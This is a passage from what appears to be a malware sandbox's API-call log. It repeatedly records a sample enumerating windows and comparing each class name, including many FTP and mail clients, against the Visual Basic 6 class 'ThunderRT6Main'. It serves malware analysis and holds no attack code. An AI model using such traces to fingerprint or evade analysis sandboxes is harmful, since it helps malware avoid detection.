lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.421] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.422] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0151.422] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0151.422] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0151.422] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0151.422] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.422] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.422] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0151.422] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0151.422] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0151.423] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0151.423] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.423] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.423] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0151.423] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0151.423] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0151.424] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0151.424] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.424] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.424] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0151.424] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0151.424] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0151.424] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0151.424] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.424] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.425] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0151.425] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0151.425] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0151.425] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0151.425] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.425] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.426] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0151.426] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0151.426] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0151.426] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0151.426] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.426] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.426] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0151.426] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0151.426] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0151.427] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0151.427] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.427] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.427] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0151.427] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0151.427] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0151.428] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0151.428] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.428] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0151.428] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0151.428] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0151.428] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0151.428] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.428] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.429] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0151.429] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0151.429] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0151.429] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0151.429] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.429] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.430] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0151.430] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0151.430] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0151.430] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0151.430] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.430] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.430] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0151.430] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0151.430] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0151.431] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0151.431] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.431] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.431] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0151.431] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0151.431] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0151.432] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0151.432] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.432] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.432] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0151.432] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0151.432] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0151.432] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0151.432] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.433] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.433] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0151.433] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0151.433] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0151.433] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0151.433] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.433] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.434] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0151.434] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0151.434] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0151.434] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0151.434] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.434] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.434] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0151.435] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0151.435] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0151.435] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0151.435] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.435] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.436] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0151.436] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0151.436] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0151.436] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0151.436] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.436] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0151.436] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0151.436] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0151.437] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0151.437] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.437] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.437] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0151.437] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0151.437] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0151.438] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0151.438] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.438] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.438] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0151.438] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0151.438] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0151.438] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0151.438] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.438] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.439] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0151.439] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0151.439] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0151.439] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0151.439] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.439] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.440] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0151.440] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0151.440] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0151.440] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0151.440] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.440] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.440] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0151.440] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0151.441] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0151.441] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0151.441] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.441] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0151.441] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0151.441] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0151.442] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0151.442] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.442] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.442] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0151.442] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0151.442] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0151.442] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0151.442] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.443] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.443] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0151.443] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0151.443] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0151.443] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0151.443] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.443] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.444] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0151.444] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0151.444] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0151.444] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0151.444] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.444] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.444] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0151.444] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0151.445] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0151.445] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0151.445] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.445] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.445] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0151.445] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0151.445] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0151.446] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0151.446] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.446] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0151.446] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0151.446] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0151.446] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0151.447] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.447] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0151.447] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0151.447] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0151.447] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0151.447] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.448] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0151.448] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0151.448] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0151.448] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0151.448] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.448] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0151.449] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0151.449] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0151.449] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0151.449] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.449] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0151.449] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0151.449] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0151.450] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0151.450] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0151.450] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0151.450] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0151.450] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0151.450] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0151.450] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0151.451] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0151.451] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0151.451] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0151.451] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0151.451] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0151.452] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0151.452] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.452] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0151.452] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0151.452] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0151.452] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0151.452] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.453] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0151.453] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0151.453] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0151.453] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0151.453] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.454] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0151.454] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.454] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.454] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0151.454] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0151.454] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0151.454] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0151.454] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.455] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0151.455] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0151.455] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0151.455] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0151.455] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.456] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0151.456] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0151.456] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0151.456] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0151.456] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.456] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0151.456] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.456] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.457] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0151.457] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0151.457] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0151.457] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0151.457] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.457] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.458] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0151.458] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.458] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.458] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0151.458] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0151.458] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0151.458] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0151.458] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.458] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.459] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0151.459] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.459] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.459] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0151.459] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0151.459] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0151.460] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0151.460] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0151.460] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0151.460] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0151.460] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0151.460] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0151.460] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0151.460] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: 